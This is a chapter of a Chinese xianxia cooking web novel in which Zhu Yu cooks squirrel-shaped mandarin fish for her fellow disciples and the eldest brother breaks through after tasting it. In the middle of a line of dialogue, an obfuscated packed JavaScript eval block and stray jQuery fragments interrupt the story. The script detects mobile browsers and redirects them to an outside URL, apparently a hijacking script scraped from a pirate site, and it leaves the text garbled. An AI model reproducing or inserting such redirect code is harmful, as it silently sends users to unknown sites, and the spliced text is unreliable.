9. 松鼠鳜鱼
作品:《秘境深处美食店》 “不错嘛小师妹,准备准备出师吧。”祝余目送薛旭离开后又转回四人隔间,留意到周未央刚煮出四喜丸子就毫不客气伸手要。
随从祝余而来的贯白沉默片刻,也伸出右手祈求四喜丸子。
周未央笑容立马僵住,还没捂热乎的四喜丸子转眼间被祝余下肚,可恨她支支吾吾来不及阻止祝余。
悲愤交加,她深吸一口气,声音轻柔道:“三师姐,你也可以尝尝他们的美食!”
祝余一手接着汤汁,一手握紧筷子,笑得张扬:“他们的美食吃了容易出事,我可不想尝试寒霜叶。
话说这寒霜叶谁窃的,药效这么足,不像是师弟们能养出的灵草。”
“你们该不会掐了药膳坊那位长老的灵草吧!人没瞧见多出息,胆子倒变大不少!”
她啃啃这边,咬咬那边,也懂得吃人手短的道理,没直言四喜丸子做得太散,吃着面质感强于醇厚鲜肉。
看来是马蹄略微少了,还有肉的腥味也没处理好,口感生涩怪异。
“我过来视察一下你们的情况,不必恐慌拘束,注意别摔坏了器具,你们出事了不要紧它们可不行。”
说完她放回整整一盘的四喜丸子,面上带笑凑上阮从白跟前,“啧啧”几声帮他合上双眼,甚至还贴心地为他蒙了层纯白毛毯。
这家伙自她拜师无极峰就从未老实,每天不是尝尝这个就是品品那个,最闲得头疼的是还爱自创美食。
明明风牛马不相及的食物一定要让它们在锅里相见。
还有那张嘴没有不敢咽下的东西。
她唤来青鸟吩咐它们定要小心处理沾有寒霜叶的食物。
这里的灵兽并非长于极寒之地,对这种寒性食物不耐受。
万一谁吃混了吞下去就得不偿失。
“还有几个菜没做?正好我也闲着,不如搭把手炒出剩余饭菜。”
她松散地瘫坐在小亭里的长椅之上,懒洋洋地问他们。她自然知道几人还差道松鼠鳜鱼就完工了,但出于礼貌还是要问一下,虽然她这个人在无极峰出了名的没有礼貌。
其余几人狐疑不决,他们总觉得祝余背地里挖坑等着他们栽跟头,天下哪有她愿意做的好事。
程昭原想后退一步观望其他人,结果一扭头其他人都早早离去,只剩他直面祝余的微笑。
他无奈地对上祝余幸灾乐祸的双眼,缓缓开口:“三师姐既然愿意,必是早早做好了一鸣惊人的准备,师弟不敢不应。”
随后,让出厨具与案板,一言不发。
祝余心想,程昭还是那副老样子,耿直到近似阴阳怪气。
她也不气恼,只是在万众瞩目下伸出手。
“那就好,不过这案板空空总归是要有点东西的,把食材给我。”
“?”师姐,都掌柜了,怎么还一毛不拔。
“等等,就你们带的那堆里面,有能做菜的鱼?”
祝余皱皱眉头,这若是从天玄宗里带出来的鱼,那就万万吃不得了。
天玄宗碧潭里的鱼哪怕是死去也能放电,比电鳗还要恐怖万分。
说起来都是泪,毕竟她也曾年少无知,捉了几条准备烤着吃。
可谁想到那鱼哪怕是下地府了,居然还能释放闪电。那一天她格外难忘,也不是谁都能一张口就一阵火花带闪电。
虽然这次事件对她打击巨大,但他们无极峰上的人,只要能喘口气,都被她坑蒙拐骗尝了鱼。
尤其是周未央刚入峰,所有人都吞下了自带闪电的鱼,通通化作闪电侠闭门不出。
后来无极峰吃碧潭里的鱼就发展成了入门宴保留项目,谁也不能落下。
虽然话是如此,但祝余非常抵触这破鱼,难吃还冒电,她是多想不开才会吃它。
“一群废物,最后还要看我。”
言简意赅评价完四人,她快速朝贯白看了一眼,让他去拿鱼。
贯白心领神会,不一会儿肥硕的鳜鱼被摔倒案板上。
两人默默无言,可又像有千言万语,两双眼晴纷纷看向鳜鱼。
多日的做菜经验下,祝余一个眼色贯白就知道该做什么。
铁刀处理好密密麻麻的鱼鳞,随后破开鱼腹,取出内脏,清洗血迹,等待祝余的加工。
祝余也没闲着,找出所需要的各种调料依次摆放整齐,一目了然。
接过鱼后,手中的刀轻轻拍打鱼身。
随后,左手捏住鱼鳍右手刀落,鱼头被轻易断开置入琉璃盏内。
而剩下的鱼身被她横切两半,动作干净利索,挥洒自如。
而那两半的鱼肉才是这道菜的重头戏。
菜刀一转,呈四十五度在鱼肉中划成道道条痕,看似极重的刀工并未使鱼皮破损,相反,每一刀下都长眼般停在鱼肉与鱼皮交界的地方,气定神闲,游刃有余。
划好一个方向,又朝另一个方向切割,直至鱼肉成为网格状。
切好后的鱼肉被她轻轻提起,鱼肉因刀痕向外蓬松翻转,神似松鼠皮毛。
她满意地观赏自己刀下的鱼,等待贯白填好料酒去腥提鲜。
葱姜盐之下,腥味几乎难以嗅出,胡椒粉和黄酒之中,肉质的鲜美跃然案上。
贯白眼中闪过一丝兴奋,他如今已经能够成熟地打下手了。
祝余并不知道他内心雀跃,她的心只在美食上留下注意力。
切好的鱼肉裹好淀粉炸至金黄,存放身侧随时备用。
接下来便是酱汁。
她如今有番茄酱了,不需要自己手搓糖醋汁,省下她不少时间。
不过此番茄酱与现代大街小巷卖的瓶装番茄酱不同,此番茄酱更加浓郁醇香,更偏向番茄罐头。
锅内番茄酱与蒜蓉混合均匀加入凉水闷煮,凉水烧开后放入少许盐与多量白糖,糖醋汁的味道便生出来了,浓稠的酱汁香气扑鼻,口感甜鲜浓醇。
不久,酱汁里又抛入胡萝卜,冬笋丁,青豆等丰富酱汁馅料,最后热油一浇,便大功告成了。
炸好的鳜鱼被她取出,滚烫的酱汁降雨般淋在鳜鱼身上,热油滚落在鳜鱼表面,一声声仿若松鼠尖叫的声音传来,肉香四溢。
所有人见松鼠鳜鱼出炉迫不及待围上来,仔细端详。
松鼠鳜鱼灵动如鼠,翻卷似毛,背上被金黄酱汁紧紧盖住,宛如松鼠后背的橙黄。
鲜美的酱汁散发出甜醋香气,勾人食欲。
贯白懂事地从她手中接过松鼠鳜鱼放在亭内石桌上,眼睛却死死盯住不放,好似下一秒就宛如一条狗冲上去吞掉。
但他良好的自我形象管理克制住了自己丢人的想法,冷冷地站在一旁,眼神挪开。
程昭留意到贯白眼神变化,稍加思索开口道:“三师姐,不知这位道友如何称呼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439250|169351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我见他频频看向你做的这道菜,不嫌弃的话一起品尝如何?”
祝余想了想,这倒也是个主意,正好贯白身份特殊,对于寒霜叶这种寒性药有足够的抵抗力。不如让他加入饭局一同品尝,正好省去青鸟们的活了。
“这是本店二掌柜贯白小友。”
她没在多说什么,贯白是去是留全在他一人。
程昭敢问出这个问题必然是其他三人同意过的,她也不好再多嘴提些有的没的。
“贯白道友,你意下如何?”程昭真诚发问,双目炯炯有神,满怀期待看向贯白。
贯白冷峻的面容倏然和缓下来,语气淡淡道:“多谢。”
说着就自然而然落座,没有任何生疏与不适。
程昭心想,能和祝余合伙开店的人怎么会真是冰坨子呢!他不熟悉贯白,还能不清楚祝余吗?!
其他人纷纷托菜上桌,只有孤零零的阮从白昏死在长廊里,无一人过问。
贯白略有好奇,询问祝余:“为何不救他?”
祝余微微一笑,神情和蔼:“不必管他,他体质特殊一会儿就起来了,等这位小‘炎帝’脑子清醒后再说就行。”
“‘小炎帝’?”
“恩,他有个小梦想就是尝遍修仙界所有药草,但他一头蛟有这种想法很难评价对不对。当然,他没那么大义,只是纯贪吃而已,不存在悬壶济世的念头。”
贯白懂了,这人和饕餮一个德行,只不过饕餮不挑食不分类单纯喜欢吃,这人却有点志向,想找出草药怎样吃才美味。
其他人就位后渐渐安静下来,似乎格外珍重这份美食,拿筷子的手都极其用力,生怕没夹紧浪费掉。
而他们的目标只有一个,那就是祝余亲手制作的松鼠鳜鱼。
祝余的水平和他们这群现学现卖的不同,早在几百年前她就能在一众难吃的饭里挑出能够利用的食物,偷偷改进菜单,让他们无极峰脱离了美食荒漠的现状。
谁都没猜到食物还能如此搭配,烈焰花凉拌九心菜,风雪猪炖长团草,她硬生生开辟了新赛道,让他们真正感受到地大物博的好处。
他们哭死。
今天这道松鼠鳜鱼他们只在祝余嘴中听说过,可谁都没见到过实物,如今一见,果真如她所言一般格外勾人。
张衡山风风火火夹起一块肉,肉质鲜嫩,口感酥脆,酸甜汁水的纯香绽放在口中,说不出的鲜香。
他久久不能回神,原来鱼还有这种做法,还有那些他认不出的调料竟也有如此妙用!
外酥里嫩的美味口感让他有种说不上的情绪堆积在心头,他从未有如此奇特的感受。
就像一脚从空中落下跌进海里,深深被海水拥抱,浓重的水流为他清出一条干净明丽的小道,他极信任的走上前。
一种醍醐灌顶的感觉油然而生,他感到异常清明,一时间颅内狂欢不断,心中滴滴答答各项乐理串联起来,灵感骤然爆发!
他需要弹出来记录下来这首歌谣,迫切的想。
二胡感应到张衡山的需要,飞奔而来。张衡山一拿到二胡就忘我地弹起来。
清澈、婉转、悠扬、偷闲、自恕。
祝余听出其中的意味,勾起嘴角。
她猜,大师兄的机遇到了,他悟势成功了。
下一秒,一阵浓郁的灵气就铺洒在每个人身上,张衡山进阶了。